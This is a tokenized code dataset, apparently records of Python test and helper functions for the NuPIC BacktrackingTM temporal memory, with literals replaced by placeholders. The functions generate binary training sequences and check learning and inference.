BacktrackingTM(numberOfCols=numCols,<EOL>cellsPerColumn=cellsPerColumn,<EOL>initialPerm=initialPerm,<EOL>connectedPerm=connectedPerm,<EOL>minThreshold=minThreshold,<EOL>newSynapseCount=newSynapseCount,<EOL>permanenceInc=permanenceInc,<EOL>permanenceDec=permanenceDec,<EOL>activationThreshold=activationThreshold,<EOL>globalDecay=globalDecay, burnIn=<NUM_LIT:1>,<EOL>seed=SEED, verbosity=VERBOSITY,<EOL>pamLength=<NUM_LIT:1000>)<EOL>return cppTm, pyTm<EOL>", "docstring": "Create two instances of temporal poolers (backtracking_tm.py\n    and backtracking_tm_cpp.py) with identical parameter settings.", "id": "f17530:m2"}
{"signature": "def _basicTest(self, tm=None):", "body": "trainingSet = _getSimplePatterns(<NUM_LIT:10>, <NUM_LIT:10>)<EOL>for _ in range(<NUM_LIT:2>):<EOL><INDENT>for seq in trainingSet[<NUM_LIT:0>:<NUM_LIT:5>]:<EOL><INDENT>for _ in range(<NUM_LIT:10>):<EOL><INDENT>tm.learn(seq)<EOL><DEDENT>tm.reset()<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>tm.collectStats = True<EOL>for seq in trainingSet[<NUM_LIT:0>:<NUM_LIT:5>]:<EOL><INDENT>tm.reset()<EOL>tm.resetStats()<EOL>for _ in range(<NUM_LIT:10>):<EOL><INDENT>tm.infer(seq)<EOL>if VERBOSITY > <NUM_LIT:1> :<EOL><INDENT>print()<EOL>_printOneTrainingVector(seq)<EOL>tm.printStates(False, False)<EOL>print()<EOL>print()<EOL><DEDENT><DEDENT>if VERBOSITY > <NUM_LIT:1>:<EOL><INDENT>print(tm.getStats())<EOL><DEDENT>self.assertGreater(tm.getStats()['<STR_LIT>'], <NUM_LIT>)<EOL>print((\"<STR_LIT>\",<EOL>tm.getStats()['<STR_LIT>']))<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>", "docstring": "Test creation, pickling, and basic run of learning and inference.", "id": "f17530:c0:m1"}
{"signature": "def generatePattern(numCols = <NUM_LIT:100>,<EOL>minOnes =<NUM_LIT>,<EOL>maxOnes =<NUM_LIT>,<EOL>colSet = [],<EOL>prevPattern =numpy.array([])):", "body": "assert minOnes < maxOnes<EOL>assert maxOnes < numCols<EOL>nOnes = rgen.randint(minOnes, maxOnes)<EOL>candidates = list(colSet.difference(set(prevPattern.nonzero()[<NUM_LIT:0>])))<EOL>rgen.shuffle(candidates)<EOL>ind = candidates[:nOnes]<EOL>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>x[ind] = <NUM_LIT:1><EOL>return x<EOL>", "docstring": "Generate a single test pattern with given parameters.\n\n    Parameters:\n    --------------------------------------------\n    numCols:                Number of columns in each pattern.\n    minOnes:                The minimum number of 1's in each pattern.\n    maxOnes:                The maximum number of 1's in each pattern.\n    colSet:                 The set of column indices for the pattern.\n    prevPattern:            Pattern to avoid (null intersection).", "id": "f17531:m2"}
{"signature": "def buildTrainingSet(numSequences = <NUM_LIT:2>,<EOL>sequenceLength = <NUM_LIT:100>,<EOL>pctShared = <NUM_LIT>,<EOL>seqGenMode = '<STR_LIT>',<EOL>subsequenceStartPos = <NUM_LIT:10>,<EOL>numCols = <NUM_LIT:100>,<EOL>minOnes=<NUM_LIT>,<EOL>maxOnes = <NUM_LIT>,<EOL>disjointConsecutive =True):", "body": "<EOL>colSet = set(range(numCols))<EOL>if '<STR_LIT>' in seqGenMode:<EOL><INDENT>assert '<STR_LIT>' in seqGenMode and '<STR_LIT>' not in seqGenMode<EOL><DEDENT>if '<STR_LIT>' in seqGenMode or numSequences == <NUM_LIT:1>:<EOL><INDENT>pctShared = <NUM_LIT:0.0><EOL><DEDENT>if '<STR_LIT>' not in seqGenMode and '<STR_LIT>' not in seqGenMode:<EOL><INDENT>sharedSequenceLength = int(pctShared*sequenceLength)<EOL><DEDENT>elif '<STR_LIT>' in seqGenMode:<EOL><INDENT>sharedSequenceLength = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>sharedSequenceLength = <NUM_LIT:0><EOL><DEDENT>assert sharedSequenceLength + subsequenceStartPos < sequenceLength<EOL>sharedSequence = []<EOL>for i in range(sharedSequenceLength):<EOL><INDENT>if disjointConsecutive and i > <NUM_LIT:0>:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet,<EOL>sharedSequence[i-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet)<EOL><DEDENT>sharedSequence.append(x)<EOL><DEDENT>trainingSequences = []<EOL>if '<STR_LIT>' not in seqGenMode:<EOL><INDENT>trailingLength = sequenceLength - sharedSequenceLength - subsequenceStartPos<EOL><DEDENT>else:<EOL><INDENT>trailingLength = sequenceLength - sharedSequenceLength<EOL><DEDENT>for k,s in enumerate(range(numSequences)):<EOL><INDENT>if len(trainingSequences) > <NUM_LIT:0> and '<STR_LIT>' in seqGenMode:<EOL><INDENT>r = list(range(subsequenceStartPos))+ list(range(subsequenceStartPos + sharedSequenceLength, sequenceLength))<EOL>rgen.shuffle(r)<EOL>r = r[:subsequenceStartPos]+ list(range(subsequenceStartPos, subsequenceStartPos + sharedSequenceLength))+ r[subsequenceStartPos:]<EOL>sequence = [trainingSequences[k-<NUM_LIT:1>][j] for j in r]<EOL><DEDENT>else:<EOL><INDENT>sequence = []<EOL>if '<STR_LIT>' not in seqGenMode:<EOL><INDENT>for i in range(subsequenceStartPos):<EOL><INDENT>if disjointConsecutive and i > <NUM_LIT:0>:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet, sequence[i-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet)<EOL><DEDENT>sequence.append(x)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in seqGenMode and '<STR_LIT>' not in seqGenMode:<EOL><INDENT>sequence.extend(sharedSequence)<EOL><DEDENT>for i in range(trailingLength):<EOL><INDENT>if disjointConsecutive and i > <NUM_LIT:0>:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet, sequence[i-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet)<EOL><DEDENT>sequence.append(x)<EOL><DEDENT><DEDENT>assert len(sequence) == sequenceLength<EOL>trainingSequences.append(sequence)<EOL><DEDENT>assert len(trainingSequences) == numSequences<EOL>if VERBOSITY >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>pprint.pprint(trainingSequences)<EOL><DEDENT>if sharedSequenceLength > <NUM_LIT:0>:<EOL><INDENT>return (trainingSequences, subsequenceStartPos + sharedSequenceLength)<EOL><DEDENT>else:<EOL><INDENT>return (trainingSequences, -<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Build random high order test sequences.\n\n    Parameters:\n    --------------------------------------------\n    numSequences:           The number of sequences created.\n    sequenceLength:         The length of each sequence.\n    pctShared:              The percentage of sequenceLength that is shared across\n                            every sequence. If sequenceLength is 100 and pctShared\n                            is 0.2, then a subsequence consisting of 20 patterns\n                            will be in every sequence. Can also be the keyword\n                            'one pattern', in which case a single time step is\n                            shared.\n    seqGenMode:             What kind of sequence to generate. If contains 'shared'\n                            generates shared subsequence. If contains 'no shared',\n                            does not generate any shared subsequence. If contains\n                            'shuffle', will use common patterns shuffle among the\n                            different sequences. If contains 'beginning', will\n                            place shared subsequence at the beginning.\n    subsequenceStartPos:    The position where the shared subsequence starts\n    numCols:                Number of columns in each pattern.\n    minOnes:                The minimum number of 1's in each pattern.\n    maxOnes:                The maximum number of 1's in each pattern.\n    disjointConsecutive:    Whether to generate disjoint consecutive patterns or not.", "id": "f17531:m3"}
{"signature": "def getSimplePatterns(numOnes, numPatterns):", "body": "numCols = numOnes * numPatterns<EOL>p = []<EOL>for i in range(numPatterns):<EOL><INDENT>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>x[i*numOnes:(i+<NUM_LIT:1>)*numOnes] = <NUM_LIT:1><EOL>p.append(x)<EOL><DEDENT>return p<EOL>", "docstring": "Very simple patterns. Each pattern has numOnes consecutive\n    bits on. There are numPatterns*numOnes bits in the vector.", "id": "f17531:m4"}
{"signature": "def buildSimpleTrainingSet(numOnes=<NUM_LIT:5>):", "body": "numPatterns = <NUM_LIT:11><EOL>p = getSimplePatterns(numOnes, numPatterns)<EOL>s1 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:3>], p[<NUM_LIT:4>], p[<NUM_LIT:5>], p[<NUM_LIT:6>] ]<EOL>s2 = [p[<NUM_LIT:7>], p[<NUM_LIT:8>], p[<NUM_LIT:2>], p[<NUM_LIT:3>], p[<NUM_LIT:4>], p[<NUM_LIT:9>], p[<NUM_LIT:10>]]<EOL>trainingSequences = [s1, s2]<EOL>return (trainingSequences, <NUM_LIT:5>)<EOL>", "docstring": "Two very simple high order sequences for debugging. Each pattern in the\n    sequence has a series of 1's in a specific set of columns.", "id": "f17531:m5"}
{"signature": "def buildAlternatingTrainingSet(numOnes=<NUM_LIT:5>):", "body": "numPatterns = <NUM_LIT><EOL>p = getSimplePatterns(numOnes, numPatterns)<EOL>s1 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:0>], p[<NUM_LIT:2>]]<EOL>s2 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:3>], p[<NUM_LIT:4>]]<EOL>s3 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:5>], p[<NUM_LIT:6>], p[<NUM_LIT:7>], p[<NUM_LIT:8>]]<EOL>s4 = [p[<NUM_LIT:0>], p[<NUM_LIT:9>], p[<NUM_LIT:10>], p[<NUM_LIT:11>], p[<NUM_LIT:12>], p[<NUM_LIT>]]<EOL>trainingSequences = [s1, s2, s3, s4]<EOL>return (trainingSequences, <NUM_LIT:5>)<EOL>", "docstring": "High order sequences that alternate elements. Pattern i has one's in\n    i*numOnes to (i+1)*numOnes.\n\n    The sequences are:\n       A B A B A C\n       A B A B D E\n       A B F G H I\n       A J K L M N", "id": "f17531:m6"}
{"signature": "def buildHL0aTrainingSet(numOnes=<NUM_LIT:5>):", "body": "numPatterns = <NUM_LIT><EOL>p = getSimplePatterns(numOnes, numPatterns)<EOL>s = []<EOL>s.append(p[rgen.randint(<NUM_LIT:3>,<NUM_LIT>)])<EOL>for _ in range(<NUM_LIT:20>):<EOL><INDENT>s.append(p[rgen.randint(<NUM_LIT:3>,<NUM_LIT>)])<EOL>s.append(p[<NUM_LIT:0>])<EOL>s.append(p[<NUM_LIT:1>])<EOL>s.append(p[<NUM_LIT:2>])<EOL>s.append(p[rgen.randint(<NUM_LIT:3>,<NUM_LIT>)])<EOL><DEDENT>return ([s], [[p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:2>]]])<EOL>", "docstring": "Simple sequences for HL0. Each pattern in the sequence has a series of 1's\n    in a specific set of columns.\n      There are 23 patterns, p0 to p22.\n      The sequence we want to learn is p0->p1->p2\n      We create a very long sequence consisting of N N p0 p1 p2 N N p0 p1 p2\n      N is randomly chosen from p3 to p22", "id": "f17531:m7"}
{"signature": "def buildHL0bTrainingSet(numOnes=<NUM_LIT:5>):", "body": "numPatterns = <NUM_LIT><EOL>p = getSimplePatterns(numOnes, numPatterns)<EOL>s = []<EOL>s.append(p[rgen.randint(<NUM_LIT:5>,numPatterns)])<EOL>for _ in range(<NUM_LIT:50>):<EOL><INDENT>r = rgen.randint(<NUM_LIT:5>,numPatterns)<EOL>print(r, end='<STR_LIT:U+0020>')<EOL>s.append(p[r])<EOL>if rgen.binomial(<NUM_LIT:1>, <NUM_LIT:0.5>) > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>s.append(p[<NUM_LIT:0>])<EOL>s.append(p[<NUM_LIT:1>])<EOL>s.append(p[<NUM_LIT:2>])<EOL>s.append(p[<NUM_LIT:4>])<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>s.append(p[<NUM_LIT:1>])<EOL>s.append(p[<NUM_LIT:2>])<EOL>s.append(p[<NUM_LIT:3>])<EOL><DEDENT>r = rgen.randint(<NUM_LIT:5>,numPatterns)<EOL>s.append(p[r])<EOL>print(r, end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL>return ([s], [ [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:4>]],  [p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:3>]] ])<EOL>", "docstring": "Simple sequences for HL0b. Each pattern in the sequence has a series of 1's\n    in a specific set of columns.\n      There are 23 patterns, p0 to p22.\n      The sequences we want to learn are p1->p2->p3 and p0->p1->p2->p4.\n      We create a very long sequence consisting of these two sub-sequences\n      intermixed with noise, such as:\n            N N p0 p1 p2 p4 N N p1 p2 p3 N N p1 p2 p3\n      N is randomly chosen from p5 to p22", "id": "f17531:m8"}
{"signature": "def findAcceptablePatterns(tm, t, whichSequence, trainingSequences, nAcceptable = <NUM_LIT:1>):", "body": "<EOL>upTo = t + <NUM_LIT:2> <EOL>if tm.doPooling:<EOL><INDENT>upTo += min(tm.segUpdateValidDuration, nAcceptable)<EOL><DEDENT>assert upTo <= len(trainingSequences[whichSequence])<EOL>acceptablePatterns = []<EOL>if len(trainingSequences) == <NUM_LIT:2> and(trainingSequences[<NUM_LIT:0>][<NUM_LIT:0>] == trainingSequences[<NUM_LIT:1>][<NUM_LIT:0>]).all():<EOL><INDENT>if (trainingSequences[<NUM_LIT:0>][t] == trainingSequences[<NUM_LIT:1>][t]).all()and (trainingSequences[<NUM_LIT:0>][t+<NUM_LIT:1>] != trainingSequences[<NUM_LIT:1>][t+<NUM_LIT:1>]).any():<EOL><INDENT>acceptablePatterns.append(trainingSequences[<NUM_LIT:0>][t+<NUM_LIT:1>])<EOL>acceptablePatterns.append(trainingSequences[<NUM_LIT:1>][t+<NUM_LIT:1>])<EOL><DEDENT><DEDENT>acceptablePatterns += [trainingSequences[whichSequence][t]for t in range(t,upTo)]<EOL>return acceptablePatterns<EOL>", "docstring": "Tries to infer the set of acceptable patterns for prediction at the given\ntime step and for the give sequence. Acceptable patterns are: the current one,\nplus a certain number of patterns after timeStep, in the sequence that the TM\nis currently tracking. Any other pattern is not acceptable.\n\nTODO:\n====\n- Doesn't work for noise cases.\n- Might run in trouble if shared subsequence at the beginning.\n\nParameters:\n==========\ntm                       the whole TM, so that we can look at its parameters\nt                        the current time step\nwhichSequence            the sequence we are currently tracking\ntrainingSequences        all the training sequences\nnAcceptable              the number of steps forward from the current timeStep\n                         we are willing to consider acceptable. In the case of\n                         pooling, it is less than or equal to the min of the\n                         number of training reps and the segUpdateValidDuration\n                         parameter of the TM, depending on the test case.\n                         The default value is 1, because by default, the pattern\n                         after the current one should always be predictable.\n\nReturn value:\n============\nacceptablePatterns       A list of acceptable patterns for prediction.", "id": "f17531:m10"}
{"signature": "def TestH2a(sequenceLength, nTests, cellsPerColumn, numCols =<NUM_LIT:100>, nSequences =[<NUM_LIT:2>],<EOL>pctShared = <NUM_LIT>, seqGenMode = '<STR_LIT>',<EOL>shouldFail = False):", "body": "print(\"<STR_LIT>\")<EOL>nFailed = <NUM_LIT:0><EOL>subsequenceStartPos = <NUM_LIT:10><EOL>assert subsequenceStartPos < sequenceLength<EOL>for numSequences in nSequences:<EOL><INDENT>print(\"<STR_LIT>\",sequenceLength, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\",cellsPerColumn,\"<STR_LIT>\",nTests,\"<STR_LIT>\", numCols)<EOL>print(\"<STR_LIT>\",numSequences, \"<STR_LIT>\", pctShared, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", seqGenMode)<EOL>for _ in range(nTests): <EOL><INDENT>trainingSet = buildTrainingSet(numSequences = numSequences,<EOL>sequenceLength = sequenceLength,<EOL>pctShared = pctShared, seqGenMode = seqGenMode,<EOL>subsequenceStartPos = subsequenceStartPos,<EOL>numCols = numCols,<EOL>minOnes = <NUM_LIT>, maxOnes = <NUM_LIT>)<EOL>print(\"<STR_LIT>\")<EOL>numFailures3, numStrictErrors3, numPerfect3, tm3 =testSequence(trainingSet,<EOL>nTrainingReps = <NUM_LIT:10>,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:12>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0.1>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:15>,<EOL>activationThreshold = <NUM_LIT:12>,<EOL>doPooling = False,<EOL>shouldFail = shouldFail)<EOL>print(\"<STR_LIT>\")<EOL>numFailures, numStrictErrors, numPerfect, tm2 =testSequence(trainingSet,<EOL>nTrainingReps = <NUM_LIT:2>,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:12>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:15>,<EOL>activationThreshold = <NUM_LIT:12>,<EOL>doPooling = False,<EOL>shouldFail = shouldFail)<EOL>print(\"<STR_LIT>\")<EOL>numFailures1, numStrictErrors1, numPerfect1, tm1 =testSequence(trainingSet,<EOL>nTrainingReps = <NUM_LIT:1>,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:12>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:15>,<EOL>activationThreshold = <NUM_LIT:12>,<EOL>doPooling = False,<EOL>shouldFail = shouldFail)<EOL>segmentInfo1 = tm1.getSegmentInfo()<EOL>segmentInfo2 = tm2.getSegmentInfo()<EOL>if (abs(segmentInfo1[<NUM_LIT:0>] - segmentInfo2[<NUM_LIT:0>]) > <NUM_LIT:3>) or(abs(segmentInfo1[<NUM_LIT:1>] - segmentInfo2[<NUM_LIT:1>]) > <NUM_LIT:3>*<NUM_LIT:15>) :<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(segmentInfo1)<EOL>print(segmentInfo2)<EOL>print(tm3.getSegmentInfo())<EOL>tm3.trimSegments()<EOL>print(tm3.getSegmentInfo())<EOL>print(\"<STR_LIT>\")<EOL>print(numFailures1, numStrictErrors1, numPerfect1)<EOL>print(numFailures, numStrictErrors, numPerfect)<EOL>print(numFailures3, numStrictErrors3, numPerfect3)<EOL>numFailures += <NUM_LIT:1><EOL><DEDENT>if numFailures == <NUM_LIT:0> and not shouldFailor numFailures > <NUM_LIT:0> and shouldFail:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>if shouldFail:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>nFailed = nFailed + <NUM_LIT:1><EOL>print(\"<STR_LIT>\", numFailures)<EOL>print(\"<STR_LIT>\", numStrictErrors)<EOL>print(\"<STR_LIT>\", numPerfect)<EOL><DEDENT><DEDENT><DEDENT>return nFailed<EOL>", "docstring": "Still need to test:\n    Two overlapping sequences. OK to get new segments but check that we can\n    get correct high order prediction after multiple reps.", "id": "f17531:m19"}
{"signature": "def worker(x):", "body": "cellsPerColumn, numSequences = x[<NUM_LIT:0>], x[<NUM_LIT:1>]<EOL>nTrainingReps = <NUM_LIT:1><EOL>sequenceLength = <NUM_LIT:10><EOL>numCols = <NUM_LIT:200><EOL>print('<STR_LIT>', cellsPerColumn, numSequences)<EOL>seqGenMode = '<STR_LIT>'<EOL>subsequenceStartPos = <NUM_LIT:5><EOL>trainingSet = buildTrainingSet(numSequences = numSequences,<EOL>sequenceLength = sequenceLength,<EOL>pctShared = <NUM_LIT>, seqGenMode = seqGenMode,<EOL>subsequenceStartPos = subsequenceStartPos,<EOL>numCols = numCols,<EOL>minOnes = <NUM_LIT>, maxOnes = <NUM_LIT>)<EOL>numFailures1, numStrictErrors1, numPerfect1, atHub, tm =testSequence(trainingSet,<EOL>nTrainingReps = nTrainingReps,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:11>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:8>,<EOL>activationThreshold = <NUM_LIT:8>,<EOL>doPooling = False,<EOL>shouldFail = False,<EOL>predJustAfterHubOnly = <NUM_LIT:5>)<EOL>seqGenMode = '<STR_LIT>'<EOL>trainingSet = buildTrainingSet(numSequences = numSequences,<EOL>sequenceLength = sequenceLength,<EOL>pctShared = <NUM_LIT:0>, seqGenMode = seqGenMode,<EOL>subsequenceStartPos = <NUM_LIT:0>,<EOL>numCols = numCols,<EOL>minOnes = <NUM_LIT>, maxOnes = <NUM_LIT>)<EOL>numFailures2, numStrictErrors2, numPerfect2, tm =testSequence(trainingSet,<EOL>nTrainingReps = nTrainingReps,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:11>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:8>,<EOL>activationThreshold = <NUM_LIT:8>,<EOL>doPooling = False,<EOL>shouldFail = False)<EOL>print('<STR_LIT>', end='<STR_LIT:U+0020>')<EOL>print(cellsPerColumn, numSequences, numFailures1, numStrictErrors1, numPerfect1, atHub,numFailures2, numStrictErrors2, numPerfect2)<EOL>return cellsPerColumn, numSequences, numFailures1, numStrictErrors1, numPerfect1, atHub,numFailures2, numStrictErrors2, numPerfect2<EOL>", "docstring": "Worker function to use in parallel hub capacity test below.", "id": "f17531:m24"}
{"signature": "def hubCapacity():", "body": "from multiprocessing import Pool<EOL>import itertools<EOL>print(\"<STR_LIT>\")<EOL>p = Pool(<NUM_LIT:2>)<EOL>results = p.map(worker, itertools.product([<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:8>], range(<NUM_LIT:1>,<NUM_LIT>,<NUM_LIT:200>)))<EOL>f = open('<STR_LIT>', '<STR_LIT:w>')<EOL>for i,r in enumerate(results):<EOL><INDENT>print('<STR_LIT>' % r, file=f)<EOL><DEDENT>f.close()<EOL>", "docstring": "Study hub capacity. Figure out how many sequences can share a pattern\nfor a given number of cells per column till we the system fails.\nDON'T RUN IN BUILD SYSTEM!!! (takes too long)", "id": "f17531:m25"}
{"signature": "def printOneTrainingVector(x):", "body": "print('<STR_LIT>'.join('<STR_LIT:1>' if k != <NUM_LIT:0> else '<STR_LIT:.>' for k in x))<EOL>", "docstring": "Print a single vector succinctly.", "id": "f17532:m0"}
{"signature": "def getSimplePatterns(numOnes, numPatterns, patternOverlap=<NUM_LIT:0>):", "body": "assert (patternOverlap < numOnes)<EOL>numNewBitsInEachPattern = numOnes - patternOverlap<EOL>numCols = numNewBitsInEachPattern * numPatterns + patternOverlap<EOL>p = []<EOL>for i in range(numPatterns):<EOL><INDENT>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>startBit = i*numNewBitsInEachPattern<EOL>nextStartBit = startBit + numOnes<EOL>x[startBit:nextStartBit] = <NUM_LIT:1><EOL>p.append(x)<EOL><DEDENT>return p<EOL>", "docstring": "Very simple patterns. Each pattern has numOnes consecutive\n    bits on. The amount of overlap between consecutive patterns is\n    configurable, via the patternOverlap parameter.\n\n    Parameters:\n    -----------------------------------------------------------------------\n    numOnes:        Number of bits ON in each pattern\n    numPatterns:    Number of unique patterns to generate\n    patternOverlap: Number of bits of overlap between each successive pattern\n    retval:         patterns", "id": "f17532:m2"}
{"signature": "def buildOverlappedSequences( numSequences = <NUM_LIT:2>,<EOL>seqLen = <NUM_LIT:5>,<EOL>sharedElements = [<NUM_LIT:3>,<NUM_LIT:4>],<EOL>numOnBitsPerPattern = <NUM_LIT:3>,<EOL>patternOverlap = <NUM_LIT:0>,<EOL>seqOverlap = <NUM_LIT:0>,<EOL>**kwargs<EOL>):", "body": "<EOL>numSharedElements = len(sharedElements)<EOL>numUniqueElements = seqLen - numSharedElements<EOL>numPatterns = numSharedElements + numUniqueElements * numSequences<EOL>patterns = getSimplePatterns(numOnBitsPerPattern, numPatterns, patternOverlap)<EOL>numCols = len(patterns[<NUM_LIT:0>])<EOL>trainingSequences = []<EOL>uniquePatternIndices = list(range(numSharedElements, numPatterns))<EOL>for _ in range(numSequences):<EOL><INDENT>sequence = []<EOL>sharedPatternIndices = list(range(numSharedElements))<EOL>for j in range(seqLen):<EOL><INDENT>if j in sharedElements:<EOL><INDENT>patIdx = sharedPatternIndices.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>patIdx = uniquePatternIndices.pop(<NUM_LIT:0>)<EOL><DEDENT>sequence.append(patterns[patIdx])<EOL><DEDENT>trainingSequences.append(sequence)<EOL><DEDENT>if VERBOSITY >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>printAllTrainingSequences(trainingSequences)<EOL><DEDENT>return (numCols, trainingSequences)<EOL>", "docstring": "Create training sequences that share some elements in the middle.\n\n    Parameters:\n    -----------------------------------------------------\n    numSequences:         Number of unique training sequences to generate\n    seqLen:               Overall length of each sequence\n    sharedElements:       Which element indices of each sequence are shared. These\n                            will be in the range between 0 and seqLen-1\n    numOnBitsPerPattern:  Number of ON bits in each TM input pattern\n    patternOverlap:       Max number of bits of overlap between any 2 patterns\n    retval:               (numCols, trainingSequences)\n                            numCols - width of the patterns\n                            trainingSequences - a list of training sequences", "id": "f17532:m3"}
{"signature": "def buildSequencePool(numSequences = <NUM_LIT:10>,<EOL>seqLen = [<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>],<EOL>numPatterns = <NUM_LIT:5>,<EOL>numOnBitsPerPattern = <NUM_LIT:3>,<EOL>patternOverlap = <NUM_LIT:0>,<EOL>**kwargs<EOL>):", "body": "<EOL>patterns = getSimplePatterns(numOnBitsPerPattern, numPatterns, patternOverlap)<EOL>numCols = len(patterns[<NUM_LIT:0>])<EOL>trainingSequences = []<EOL>for _ in range(numSequences):<EOL><INDENT>sequence = []<EOL>length = random.choice(seqLen)<EOL>for _ in range(length):<EOL><INDENT>patIdx = random.choice(range(numPatterns))<EOL>sequence.append(patterns[patIdx])<EOL><DEDENT>trainingSequences.append(sequence)<EOL><DEDENT>if VERBOSITY >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>printAllTrainingSequences(trainingSequences)<EOL><DEDENT>return (numCols, trainingSequences)<EOL>", "docstring": "Create a bunch of sequences of various lengths, all built from\n    a fixed set of patterns.\n\n    Parameters:\n    -----------------------------------------------------\n    numSequences:         Number of training sequences to generate\n    seqLen:               List of possible sequence lengths\n    numPatterns:          How many possible patterns there are to use within\n                            sequences\n    numOnBitsPerPattern:  Number of ON bits in each TM input pattern\n    patternOverlap:       Max number of bits of overlap between any 2 patterns\n    retval:               (numCols, trainingSequences)\n                            numCols - width of the patterns\n                            trainingSequences - a list of training sequences", "id": "f17532:m4"}
{"signature": "def createTMs(includeCPP = True,<EOL>includePy = True,<EOL>numCols = <NUM_LIT:100>,<EOL>cellsPerCol = <NUM_LIT:4>,<EOL>activationThreshold = <NUM_LIT:3>,<EOL>minThreshold = <NUM_LIT:3>,<EOL>newSynapseCount = <NUM_LIT:3>,<EOL>initialPerm = <NUM_LIT>,<EOL>permanenceInc = <NUM_LIT:0.1>,<EOL>permanenceDec = <NUM_LIT:0.0>,<EOL>globalDecay = <NUM_LIT:0.0>,<EOL>pamLength = <NUM_LIT:0>,<EOL>checkSynapseConsistency = True,<EOL>maxInfBacktrack = <NUM_LIT:0>,<EOL>maxLrnBacktrack = <NUM_LIT:0>,<EOL>**kwargs<EOL>):", "body": "<EOL>connectedPerm = <NUM_LIT:0.5><EOL>tms = dict()<EOL>if includeCPP:<EOL><INDENT>if VERBOSITY >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>cpp_tm = BacktrackingTMCPP(numberOfCols = numCols, cellsPerColumn = cellsPerCol,<EOL>initialPerm = initialPerm, connectedPerm = connectedPerm,<EOL>minThreshold = minThreshold, newSynapseCount = 